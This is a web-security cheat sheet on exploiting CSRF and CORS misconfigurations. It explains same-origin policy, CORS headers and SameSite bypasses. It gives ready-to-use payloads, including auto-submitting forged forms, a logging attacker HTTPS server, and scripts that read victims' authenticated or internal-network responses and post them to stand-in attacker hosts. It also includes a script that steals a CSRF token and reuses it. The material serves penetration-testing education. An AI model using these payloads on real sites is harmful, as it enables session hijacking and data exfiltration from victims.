# CSRF

Cross-site request forgery (CSRF) is a web vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.

<details>

<summary>Fundamental Concepts</summary>

#### Same Origin Policy (SOP)

The Same-Origin policy is a security mechanism implemented in web browsers to prevent cross-origin access to websites. In particular, JavaScript code running on one origin cannot access a different origin.

{% hint style="info" %}
The `origin` is defined as the combination of `scheme`, `host`, and `port` of a URL.\
The SOP applies whenever two URLs differ in at least one of these three properties.
{% endhint %}

If a browser did not enforce the Same-Origin Policy, a web application (site A) could make cross-site requests to a separate web application (site B) using the user’s site B cookies and read authenticated responses!

{% hint style="danger" %}
It is crucial to understand that the Same-Origin Policy does not block requests, but prevents web applications from reading responses from another site.
{% endhint %}

***

#### Cross-Origin Resource Sharing (CORS)

Cross-Origin Resource Sharing (CORS) is a W3C standard that defines exceptions to the Same-Origin Policy, allowing a web application to **specify which origins and HTTP methods are permitted to access its resources.**

A web server can configure exceptions to the Same-Origin policy via CORS by setting any of the following CORS headers in the HTTP response:

| CORS HTTP Header                 | Defined exceptions                                                                                                                                       |
| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Access-Control-Allow-Origin      | SOP exceptions for a specific origin                                                                                                                     |
| Access-Control-Allow-Headers     | SOP exceptions for or allowed HTTP headers in response to a preflight request                                                                            |
| Access-Control-Allow-Methods     | SOP exceptions for allowed HTTP methods in response to a preflight request                                                                               |
| Access-Control-Expose-Headers    | SOP exceptions for specific HTTP headers                                                                                                                 |
| Access-Control-Allow-Credentials | if set to `true`, define Same-Origin policy exceptions even if the cross-origin request contains credentials, i.e., cookies or an `Authorization` header |
| Access-Control-Max-Age           | define for how long the information in the other CORS-headers can be cached without issuing a new preflight request                                      |

***

#### Preflighted Requests

The most straightforward CORS configuration is that of a so-called `simple request`, which can be made from plain HTML, without any script code. Simple requests can be `GET` or `HEAD` requests without any custom HTTP headers.

All requests that do not fall under the simple requests conditions are called `preflighted requests`. Before sending these cross-origin requests, the browser sends a ***preflight request*** (HTTP `OPTIONS` method) to the different origin containing all the parameters of the actual cross-origin request. This enables the web server to decide whether to allow the cross-origin request. The browser waits for the response to the preflight request and only continues to send the actual cross-origin request if the web server allows it by setting the corresponding CORS headers in response to the preflight request. Since the browser requests permission from the web server before sending the actual cross-origin request, CSRF vulnerabilities with preflighted requests are impossible.

The preflight request is an `OPTIONS` request that contains the following headers:

* [Access-Control-Request-Method](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Request-Method): inform the server about the HTTP method used in the actual request
* [Access-Control-Request-Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Request-Headers): inform the server about the HTTP headers used in the actual request

***

#### CSRF Defenses (short) <a href="#recap-csrf-defenses" id="recap-csrf-defenses"></a>

Web applications use unique, random CSRF tokens to verify legitimate requests, check `Origin` and `Referer` headers to confirm the request’s source, and set cookies with the `SameSite` flag to limit cross-site cookie use.

</details>

## Tools and Resources

* CSRF PoC Generator: <https://csrf-poc-generator.vercel.app/>

***

## Setting an Attacker HTTP Server

{% hint style="info" %}
Modern browsers implement security measures that prevent HTTPS websites from loading resources via unencrypted HTTP connections. To avoid running into issues, always use HTTPS requests.
{% endhint %}

To perform any CSRF exploitation, we need to host a webserver over HTTPS.\
To do that, you need a self-signed certificate for your server, which you can generate with:

```bash
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
```

{% hint style="warning" %}
Modern browsers won't allow loading resources on a misconfigured HTTPS webserver using a self-signed certificate. This setup is just of testing purposes.
{% endhint %}

Then, you'll need a simple Python HTTPS server that configures CORS for incoming `OPTIONS` requests to enable `POST` requests from our payloads, and additionally logs incoming requests:

{% code title="server.py" overflow="wrap" lineNumbers="true" %}

```python
from http import server
import ssl

class CustomRequestHandler(server.SimpleHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

    def do_GET(self):
        super().do_GET()

    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)

        if body:
            self.log_message("[i] POST body: %s", body.decode("utf-8", errors="replace"))

        self.send_response(200)
        self.end_headers()

print("Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...")
httpd = server.HTTPServer(('0.0.0.0', 443), CustomRequestHandler)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile='./server.pem')
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()
```

{% endcode %}

***

## Basic Payloads

Send a `GET` request to `https://yourtarget.com/vulnerable.php?param1=value1`

```html
<html>
  <body>
    <form method="GET" action="https://yourtarget.com/vulnerable.php">
      <input type="hidden" name="param1" value="value1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Send a POST request to `https://yourtarget.com/vulnerable.php` with `param1=value1`

```html
<html>
  <body>
    <form method="POST" action="https://yourtarget.com/vulnerable.php">
      <input type="hidden" name="param1" value="value1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Send a POST request with two JSON parameters&#x20;

```html
<html>
  <body>
    <script>
      fetch("https://yourtarget.com/vulnerable.php", {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify({
          param1: "value1",
          param2: "value2"
        })
      });
    </script>
  </body>
```

***

## Leveraging CORS Misconfigurations

### Arbitrary Origin Reflection

The `Access-Control-Allow-Origin` header contains the origins allowed to bypass the Same-Origin policy, making the browser allow the origin to access the web app's response.

#### Identifying the misconfiguration

To identify a CORS misconfiguration that reflects arbitrary origins, edit your request and add any arbitrary domain to the request's `Origin` header, then, send the request and check if the domain is included in the `Access-Control-Allow-Origin` response header.&#x20;

{% hint style="info" %}
Sometimes, a web application might check an origin against a whitelist before reflecting it.\
If the whitelist checks for strings containing a prefix or suffix of an origin, it may be vulnerable.
{% endhint %}

The header can be set to a wildcard (`*`), which results in all origins being granted a Same-Origin policy bypass. ***Notice that, for security reasons, the wildcard origin cannot be combined with the*** `Access-Control-Allow-Credentials: true`

{% hint style="danger" %}
Note: A combination of origin and wildcard, such as https\://\*.example.com is not valid!
{% endhint %}

To exploit this misconfiguration, you will need to host the following payload on your attacker server:

```html
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://misconfigured-cors.example/data.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'https://yourserver.example/log', true);
        exfil.setRequestHeader('Content-Type', 'application/json');
        exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
    };
    xhr.send();
</script>
```

{% hint style="success" %}
You don't need to set the Origin header: the browser will automatically set it to your attacker server's domain.
{% endhint %}

Then, supposing a victim is authenticated to the misconfigured-cors web application, and navigates to your server's page where the payload is hosted, they will automatically send a request to the vulnerable web application and you will receive a request containing a base64 value corresponding to the web application's response.

{% hint style="info" %}
This works because the response reflects the origin in the CORS header and allows credentials, meaning the attacker's origin is granted an exception to the Same-Origin policy.\
\
For example, if a web application only accepts origins containing "google.com", you can create a domain named "sfoffogoogle.com" and exploit the vulnerability.
{% endhint %}

If the server's `Access-Control-Allow-Credentials` header is set to `true`, you can potentially make authenticated requests in the victim's context, potentially gaining access to sensitive user-related information and allowing actions to be performed on behalf of the victim.

***

### Trusted null origin <a href="#trusted-null-origin" id="trusted-null-origin"></a>

The `Access-Control-Allow-Origin` header not only supports a trusted origin and a wildcard but also the value `null`, which indicates the `null origin`. Although this should not be used in practice, some web applications may implement it due to a misconception of its meaning.

An attacker can employ various methods to force a null origin on a cross-origin request, which is subsequently trusted, resulting in a Same-Origin policy exception.

To exploit this, check whether the `null` Origin is reflected. If it works, you can enforce a `null` origin using a `sandboxed iframe`&#x20;

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-vulnerable.example/cors.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'https://your-attackerserver.com/log', true);
        exfil.setRequestHeader('Content-Type', 'application/json');
        exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
    };
    xhr.send();
</script>"></iframe>
```

{% endcode %}

{% hint style="info" %}
This attack is an extension of the arbitrary origin reflection.\
The previous exploit payload is the same as in the previous misconfiguration. However, the sandboxed iframe results in a `null` origin in the cross-origin request instead of using the attacker server as the origin.
{% endhint %}

***

#### Targeting internal Assets

Even if the web application does not configure CORS to allow credentials, an attacker might still be able to target web applications running in a local network behind a firewall, reverse proxy, or NAT that are not publicly accessible.

Data exfiltration may be possible if these do not require authentication and contain a CORS misconfiguration that trusts the attacker's origin.

The next payload can work if the victim opening it is in the same internal network as the internal asset:

```html
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://192.168.1.1/data.php', true);
    xhr.onload = () => {
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'https://attackerserver.example/log', true);
        exfil.setRequestHeader('Content-Type', 'application/json');
        exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
    };
    xhr.send();
</script>
```

***

### Bypassing CSRF Tokens

If CORS is misconfigured to allow cross-origin requests with credentials (`Access-Control-Allow-Credentials: true`) and reflects an attacker-controlled origin via the `Access-Control-Allow-Origin` header, CSRF token protections can be bypassed, provided that the user’s session cookies are set with `SameSite=None` and `Secure`.

This allows an attacker to issue an authenticated cross-origin request to an endpoint that generates a valid CSRF token, read the token from the response, embed it into a subsequent state-changing cross-origin request, and successfully perform the action on behalf of the victim.

Since all requests are executed within the victim’s authenticated session, the CSRF token remains valid even if it is properly tied to the user session.

```html
<script>
    // GET CSRF token
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://csrf-vulnerable.example/token.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
    var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);

    // Exploit
    var csrf_req = new XMLHttpRequest();
    var params = `param1=value1&csrf=${csrftoken}`;
    csrf_req.open('POST', 'https://csrf-vulnerable.example/profile.php', false);
    csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>
```

## Other Misconfigurations

### Bypassing SameSite Cookies

The `SameSite` cookie attribute is sent according to the request's source `site` attribute, instead of using the `origin` that is normally considered by the Same Origin Policy.

The key difference between `site` and `origin` is that the ***port and subdomain are not considered part of the site***, meaning that two domains are considered the same site, even if the port and subdomain differ.

#### Bypassing Lax SameSite cookies

You can leverage the `Lax` declaration to circumvent restrictions imposed by SameSite cookies.

`Lax` SameSite cookies are only sent with safe requests, such as GET requests.\
If the web application contains any endpoints that are state-changing and are accessed with GET requests, the SameSite protection is ineffective to prevent CSRF attacks.&#x20;

#### Bypassing Strict SameSite cookies

Client-side redirections are initiated by the starting site, meaning that the redirection is considered SameSite and allows sending the victim's cookies with the request, even if they are set as `Strict` SameSite.

If you can redirect the victim to a misconfigured endpoint that accepts GET requests for state-changing operations, you can execute a successful CSRF attack.

{% hint style="info" %}
Note: this bypass only works with client-side redirects, not server-side redirects such as HTTP 3xx status codes.
{% endhint %}

***

## Weak CSRF Tokens

Simple bypasses to weak tokens can occur when:

1. ***the CSRF token is not tied to a user session***: In that case, an attacker accessing the vulnerable web application can add a valid CSRF token to the cross-origin request from their own session.&#x20;
2. ***CSRF tokens are not entirely random, or the generation algorithm is predictable:*** depending on how token is created, we might be able to guess it in a single attempt or brute-force it. For example, some tokens may be generated based on the current Unix Timestamp.
